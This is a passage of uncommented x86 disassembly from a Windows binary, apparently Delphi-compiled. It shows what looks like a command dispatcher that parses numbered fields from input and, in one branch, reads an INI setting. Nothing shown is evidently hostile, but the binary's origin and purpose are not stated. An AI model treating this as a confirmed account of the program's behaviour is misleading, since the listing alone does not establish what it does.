mov eax, dword [ebp - 0x1e44]
lea edx, [ebp - 0x1e40]
call fcn.0058ff30
mov eax, dword [ebp - 0x1e40]
mov cl, 1
mov dl, 1
call fcn.0057a77c
mov ebx, eax
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, dword [ebp - 0x54c]
jne 0x5a4885
mov eax, ebx
call fcn.00404b38
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5aec44
call fcn.00405ec0
jne 0x5a4d14
xor eax, eax
push ebp
push 0x5a4d0d
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x1e4c]
push eax
lea ecx, [ebp - 0x1e50]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e50]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1e4c]
lea edx, [ebp - 0x3b0]
call fcn.005af5ec
cmp dword [ebp - 0x3b0], 0
jne 0x5a4aff
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1e54]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e54]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
lea eax, [ebp - 0x1e60]
push eax
lea ecx, [ebp - 0x1e64]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e64]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1e60]
lea edx, [ebp - 0x1e5c]
call fcn.005939c8
mov eax, dword [ebp - 0x1e5c]
lea edx, [ebp - 0x1e58]
call fcn.0058ff30
mov edx, dword [ebp - 0x1e58]
mov eax, dword [0x5d4fd0]
call fcn.00405aec
lea eax, [ebp - 0x1e68]
push eax
lea ecx, [ebp - 0x1e6c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e6c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1e68]
call fcn.005936d4
mov edx, dword [0x5d4c54]
mov byte [edx], al
lea eax, [ebp - 0x1e70]
push eax
lea ecx, [ebp - 0x1e74]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e74]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1e70]
call fcn.005936d4
mov edx, dword [0x5d4984]
mov byte [edx], al
mov eax, dword [0x5d4fa0]
mov byte [eax], 0
mov eax, dword [0x5d4f04]
mov byte [eax], 1
xor ecx, ecx
mov dl, 1
mov eax, dword [0x57a1a4]
call fcn.0042a3cc
mov edx, dword [0x5d4cc8]
mov dword [edx], eax
mov eax, dword [0x5d4cc8]
mov eax, dword [eax]
call fcn.0058edbc
call fcn.005b3ad4
inc eax
jne 0x5a4c33
mov eax, dword [0x5d4cc8]
mov eax, dword [eax]
call fcn.0042a884
mov eax, dword [0x5d4fa0]
cmp byte [eax], 0
je 0x5a4c13
mov eax, dword [0x5d4f04]
mov byte [eax], 0
mov eax, dword [ebp - 0x3b0]
call fcn.005af6a8
test al, al
jne 0x5a4c90
lea edx, [ebp - 0x1e78]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1e78]
push eax
lea eax, [ebp - 0x1e7c]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1e7c]
xor edx, edx
pop eax
call fcn.0059002c
lea edx, [ebp - 0x1e80]
mov eax, dword [0x5d4f94]
mov eax, dword [eax]
call fcn.004205ec
mov eax, dword [ebp - 0x1e80]
push eax
lea edx, [ebp - 0x1e84]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1e84]
push eax
lea eax, [ebp - 0x1e88]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1e88]
pop eax
pop edx
call fcn.00590064
mov eax, dword [0x5d4f94]
mov eax, dword [eax]
call fcn.00404b38
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5aec5c
call fcn.00405ec0
jne 0x5a4fde
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1e8c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e8c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
lea edx, [ebp - 0x1e90]
mov eax, dword [ebp - 0x3b0]
call fcn.0058fff8
mov eax, dword [ebp - 0x1e90]
lea edx, [ebp - 0x3c0]
call fcn.0058ff30
lea eax, [ebp - 0x1e94]
push eax
lea ecx, [ebp - 0x1e98]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e98]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1e94]
call fcn.0040b328
cmp eax, 6
ja case.default.0x5a4dc4
jmp dword [eax*4 + 0x5a4dcb]
lea edx, [ebp - 0x1e9c]
mov eax, dword [ebp - 0x3c0]
call fcn.0040bcb8
mov edx, dword [ebp - 0x1e9c]
lea eax, [ebp - 0x3c0]
call fcn.00405b30
jmp case.default.0x5a4dc4
lea edx, [ebp - 0x1ea0]
mov eax, dword [ebp - 0x3c0]
call fcn.00589d2c
mov edx, dword [ebp - 0x1ea0]
lea eax, [ebp - 0x3c0]
call fcn.00405b30
jmp case.default.0x5a4dc4
lea edx, [ebp - 0x1ea4]
mov eax, dword [ebp - 0x3c0]
call fcn.0040bcf0
mov edx, dword [ebp - 0x1ea4]
lea eax, [ebp - 0x3c0]
call fcn.00405b30
mov eax, dword [ebp - 0x3c0]
mov dword [ebp - 0x764], eax
cmp dword [ebp - 0x764], 0
je 0x5a4e7d
mov eax, dword [ebp - 0x764]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x764], eax
cmp dword [ebp - 0x764], 0
jle case.default.0x5a4dc4
mov eax, dword [ebp - 0x3c0]
cmp byte [eax], 0x2e
jne case.default.0x5a4dc4
lea eax, [ebp - 0x3c0]
mov ecx, 1
mov edx, 1
call fcn.00405fd0
jmp case.default.0x5a4dc4
lea edx, [ebp - 0x1eac]
mov eax, dword [ebp - 0x3c0]
call fcn.0040bbcc
mov eax, dword [ebp - 0x1eac]
lea edx, [ebp - 0x1ea8]
call fcn.00589dcc
mov edx, dword [ebp - 0x1ea8]
lea eax, [ebp - 0x3c0]
call fcn.00405b30
jmp case.default.0x5a4dc4
lea edx, [ebp - 0x1ebc]
mov eax, dword [ebp - 0x3c0]
call fcn.0040bbcc
mov eax, dword [ebp - 0x1ebc]
lea edx, [ebp - 0x1eb8]
call fcn.0042dc94
mov eax, dword [ebp - 0x1eb8]
lea edx, [ebp - 0x1eb4]
call fcn.0040bbcc
mov eax, dword [ebp - 0x1eb4]
lea edx, [ebp - 0x1eb0]
call fcn.00589dcc
mov edx, dword [ebp - 0x1eb0]
lea eax, [ebp - 0x3c0]
call fcn.00405b30
jmp case.default.0x5a4dc4
lea edx, [ebp - 0x1ec4]
mov eax, dword [ebp - 0x3c0]
call fcn.0040bc00
mov eax, dword [ebp - 0x1ec4]
lea edx, [ebp - 0x1ec0]
call fcn.00589dcc
mov edx, dword [ebp - 0x1ec0]
lea eax, [ebp - 0x3c0]
call fcn.00405b30
jmp case.default.0x5a4dc4
movzx eax, byte [0x5ae298]
push eax
lea eax, [ebp - 0x1ec8]
push eax
mov ecx, 0x5adc64
mov edx, 0x5ae26c
mov eax, dword [ebp - 0x3c0]
call fcn.004ad574
mov edx, dword [ebp - 0x1ec8]
lea eax, [ebp - 0x3c0]
call fcn.00405b30
lea eax, [ebp - 0x1ecc]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1ecc]
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5aec74
call fcn.00405ec0
jne 0x5a52c7
xor eax, eax
push ebp
push 0x5a52c0
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1ed0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ed0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x3b0]
call fcn.005af6a8
test al, al
jne 0x5a5084
lea edx, [ebp - 0x1ed4]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1ed4]
push eax
lea eax, [ebp - 0x1ed8]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1ed8]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x1ee0]
push eax
lea ecx, [ebp - 0x1ee4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ee4]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1ee0]
lea edx, [ebp - 0x1edc]
call fcn.0058ff30
cmp dword [ebp - 0x1edc], 0
je 0x5a511c
lea eax, [ebp - 0x1eec]
push eax
lea ecx, [ebp - 0x1ef0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ef0]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1eec]
lea edx, [ebp - 0x1ee8]
call fcn.0058ff30
cmp dword [ebp - 0x1ee8], 0
jne 0x5a512c
lea eax, [ebp - 0x3c0]
call fcn.00405a98
jmp 0x5a5276
mov eax, 0x6590
call fcn.00402fc0
mov esi, eax
xor eax, eax
push ebp
push 0x5a5261
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1ef8]
push eax
lea ecx, [ebp - 0x1efc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1efc]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1ef8]
lea edx, [ebp - 0x1ef4]
call fcn.0058ff30
mov eax, dword [ebp - 0x1ef4]
call fcn.00405f28
push eax
push 0x6590
push esi
push 0x5ae29c
lea eax, [ebp - 0x1f04]
push eax
lea ecx, [ebp - 0x1f08]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f08]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1f04]
lea edx, [ebp - 0x1f00]
call fcn.0058ff30
mov eax, dword [ebp - 0x1f00]
call fcn.00405f28
push eax
lea eax, [ebp - 0x1f10]
push eax
lea ecx, [ebp - 0x1f14]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f14]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1f10]
lea edx, [ebp - 0x1f0c]
call fcn.0058ff30
mov eax, dword [ebp - 0x1f0c]
call fcn.00405f28
push eax
call sub.kernel32.dll_GetPrivateProfileStringA
lea eax, [ebp - 0x3c0]
mov edx, esi
call fcn.00405c90
mov eax, esi
call fcn.00402fdc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a5276
lea eax, [ebp - 0x1f18]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1f18]
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5aec94
call fcn.00405ec0
jne 0x5a583a
lea edx, [ebp - 0x1f1c]
mov eax, 0x5ad8cc
call fcn.0058fff8
mov edx, dword [ebp - 0x1f1c]
mov eax, dword [0x5d5090]
call fcn.00405aec
lea eax, [ebp - 0x1f20]
push eax
lea ecx, [ebp - 0x1f24]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f24]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1f20]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
cmp dword [0x5dbd5c], 0
je 0x5a53b9
push 0
lea eax, [ebp - 0x1f2c]
push eax
lea eax, [ebp - 0x1f30]
push eax
lea ecx, [ebp - 0x1f34]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f34]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0x1f30]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2550
mov eax, dword [ebp - 0x1f2c]
lea edx, [ebp - 0x1f28]
call fcn.005939c8
mov edx, dword [ebp - 0x1f28]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
xor eax, eax
push ebp
push 0x5a582b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1f3c]
push eax
lea ecx, [ebp - 0x1f40]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f40]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1f3c]
lea edx, [ebp - 0x1f38]
call fcn.0058ff30
mov eax, dword [ebp - 0x1f38]
push eax
lea eax, [ebp - 0x1f48]
push eax
lea ecx, [ebp - 0x1f4c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f4c]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1f48]
lea edx, [ebp - 0x1f44]
call fcn.0058ff30
mov eax, dword [ebp - 0x1f44]
push eax
lea eax, [ebp - 0x1f54]
push eax
lea ecx, [ebp - 0x1f58]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f58]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1f54]
lea edx, [ebp - 0x1f50]
call fcn.0058ff30
mov eax, dword [ebp - 0x1f50]
push eax
lea eax, [ebp - 0x1f60]
push eax
lea ecx, [ebp - 0x1f64]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f64]
mov ecx, 7
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1f60]
lea edx, [ebp - 0x1f5c]
call fcn.0058ff30
mov eax, dword [ebp - 0x1f5c]
call fcn.0040b328
push eax
lea eax, [ebp - 0x1f6c]
push eax
lea ecx, [ebp - 0x1f70]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f70]
mov ecx, 8
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1f6c]
lea edx, [ebp - 0x1f68]
call fcn.0058ff30
mov eax, dword [ebp - 0x1f68]
call fcn.005936d4
push eax
lea eax, [ebp - 0x1f78]
push eax
lea ecx, [ebp - 0x1f7c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f7c]
mov ecx, 9
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1f78]
lea edx, [ebp - 0x1f74]
call fcn.0058ff30
mov eax, dword [ebp - 0x1f74]
call fcn.005936d4
push eax
lea eax, [ebp - 0x1f84]
push eax
lea ecx, [ebp - 0x1f88]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f88]
mov ecx, 0xa
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1f84]
lea edx, [ebp - 0x1f80]
call fcn.0058ff30
mov eax, dword [ebp - 0x1f80]
call fcn.005936d4
push eax
lea eax, [ebp - 0x1f90]
push eax
lea ecx, [ebp - 0x1f94]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1f94]
mov ecx, 0xb
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1f90]
lea edx, [ebp - 0x1f8c]
call fcn.0058ff30
mov eax, dword [ebp - 0x1f8c]
call fcn.005936d4
push eax
lea eax, [ebp - 0x1f9c]
push eax
lea ecx, [ebp - 0x1fa0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1fa0]
mov ecx, 0xc
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1f9c]
lea edx, [ebp - 0x1f98]
call fcn.0058ff30
mov eax, dword [ebp - 0x1f98]
call fcn.005936d4
push eax
lea eax, [ebp - 0x1fa8]
push eax
lea ecx, [ebp - 0x1fac]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1fac]
mov ecx, 0xd
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1fa8]
lea edx, [ebp - 0x1fa4]
call fcn.0058ff30
mov eax, dword [ebp - 0x1fa4]
call fcn.005936d4
push eax
lea eax, [ebp - 0x1fb4]
push eax
lea ecx, [ebp - 0x1fb8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1fb8]
mov ecx, 0xe
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1fb4]
lea edx, [ebp - 0x1fb0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1fb0]
call fcn.0040b328
push eax
lea eax, [ebp - 0x1fc0]
push eax
lea ecx, [ebp - 0x1fc4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1fc4]
mov ecx, 0xf
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1fc0]
lea edx, [ebp - 0x1fbc]
call fcn.0058ff30
mov eax, dword [ebp - 0x1fbc]
call fcn.0040b328
push eax
lea eax, [ebp - 0x1fcc]
push eax
lea ecx, [ebp - 0x1fd0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1fd0]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1fcc]
lea edx, [ebp - 0x1fc8]
call fcn.0058ff30
mov eax, dword [ebp - 0x1fc8]
push eax
lea eax, [ebp - 0x1fd8]
push eax
lea ecx, [ebp - 0x1fdc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1fdc]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1fd8]
lea edx, [ebp - 0x1fd4]
call fcn.0058ff30
mov eax, dword [ebp - 0x1fd4]
push eax
lea edx, [ebp - 0x1fe0]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1fe0]
pop edx
pop ecx
call fcn.0057ac0c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5aecac
call fcn.00405ec0
jne 0x5a620b
lea edx, [ebp - 0x1fe4]
mov eax, 0x5ad8cc
call fcn.0058fff8
mov edx, dword [ebp - 0x1fe4]
mov eax, dword [0x5d5090]
call fcn.00405aec
push 0x5adf48
lea eax, [ebp - 0x1fec]
push eax
lea ecx, [ebp - 0x1ff0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ff0]
mov ecx, 9
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1fec]
lea edx, [ebp - 0x1fe8]
call fcn.0058ff30
mov eax, dword [ebp - 0x1fe8]
lea ecx, [ebp - 0x424]
lea edx, [ebp - 0x420]
call fcn.0058e5a4
push 0x5adf48
lea eax, [ebp - 0x1ff8]
push eax
lea ecx, [ebp - 0x1ffc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ffc]
mov ecx, 0xa
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1ff8]
lea edx, [ebp - 0x1ff4]
call fcn.0058ff30
mov eax, dword [ebp - 0x1ff4]
lea ecx, [ebp - 0x42c]
lea edx, [ebp - 0x428]
call fcn.0058e5a4
cmp dword [ebp - 0x42c], 0
jne 0x5a5947
lea eax, [ebp - 0x42c]
mov edx, 0x5ad684
call fcn.00405b30
xor eax, eax
push ebp
push 0x5a6204
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x2000]
push eax
lea ecx, [ebp - 0x2004]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2004]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2000]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
lea eax, [ebp - 0x2008]
push eax
lea ecx, [ebp - 0x200c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x200c]
mov ecx, 0xc
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2008]
lea edx, [ebp - 0x3d4]
call fcn.005939c8
lea eax, [ebp - 0x2010]
push eax
lea ecx, [ebp - 0x2014]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2014]
mov ecx, 0xd
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2010]
lea edx, [ebp - 0x3d8]
call fcn.005939c8
cmp dword [0x5dbd5c], 0
je 0x5a5b80
push 0
lea eax, [ebp - 0x201c]
push eax
lea eax, [ebp - 0x2020]
push eax
lea ecx, [ebp - 0x2024]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2024]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0x2020]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2550
mov eax, dword [ebp - 0x201c]
lea edx, [ebp - 0x2018]
call fcn.005939c8
mov edx, dword [ebp - 0x2018]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
push 0
lea eax, [ebp - 0x202c]
push eax
lea eax, [ebp - 0x2030]
push eax
lea ecx, [ebp - 0x2034]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2034]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0x2030]
mov ecx, 2
mov eax, dword [ebp - 0x3d4]
call fcn.005b2550
mov eax, dword [ebp - 0x202c]
lea edx, [ebp - 0x2028]
call fcn.005939c8
mov edx, dword [ebp - 0x2028]
lea eax, [ebp - 0x3d4]
call fcn.00405b30
push 0
lea eax, [ebp - 0x203c]
push eax
lea eax, [ebp - 0x2040]
push eax
lea ecx, [ebp - 0x2044]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2044]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0x2040]
mov ecx, 3
mov eax, dword [ebp - 0x3d8]
call fcn.005b2550
mov eax, dword [ebp - 0x203c]
lea edx, [ebp - 0x2038]
call fcn.005939c8
mov edx, dword [ebp - 0x2038]
lea eax, [ebp - 0x3d8]
call fcn.00405b30
xor eax, eax
push ebp
push 0x5a61dd
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x204c]
push eax
lea ecx, [ebp - 0x2050]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2050]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x204c]
lea edx, [ebp - 0x2048]
call fcn.0058ff30
mov eax, dword [ebp - 0x2048]
call fcn.005936d4
push eax
lea eax, [ebp - 0x2058]
push eax
lea ecx, [ebp - 0x205c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x205c]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2058]
lea edx, [ebp - 0x2054]
call fcn.0058ff30
mov eax, dword [ebp - 0x2054]
call fcn.005936d4
push eax
lea eax, [ebp - 0x2064]
push eax
lea ecx, [ebp - 0x2068]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2068]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2064]
lea edx, [ebp - 0x2060]
call fcn.0058ff30
mov eax, dword [ebp - 0x2060]
call fcn.005936d4
push eax
lea eax, [ebp - 0x2070]
push eax
lea ecx, [ebp - 0x2074]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2074]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2070]
lea edx, [ebp - 0x206c]
call fcn.0058ff30
mov eax, dword [ebp - 0x206c]
call fcn.005936d4
push eax
lea eax, [ebp - 0x207c]
push eax
lea ecx, [ebp - 0x2080]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2080]
mov ecx, 7
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x207c]
lea edx, [ebp - 0x2078]
call fcn.0058ff30
mov eax, dword [ebp - 0x2078]
call fcn.005936d4
push eax
lea eax, [ebp - 0x2088]
push eax
lea ecx, [ebp - 0x208c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x208c]
mov ecx, 8
mov eax, dword [ebp + 0x10]
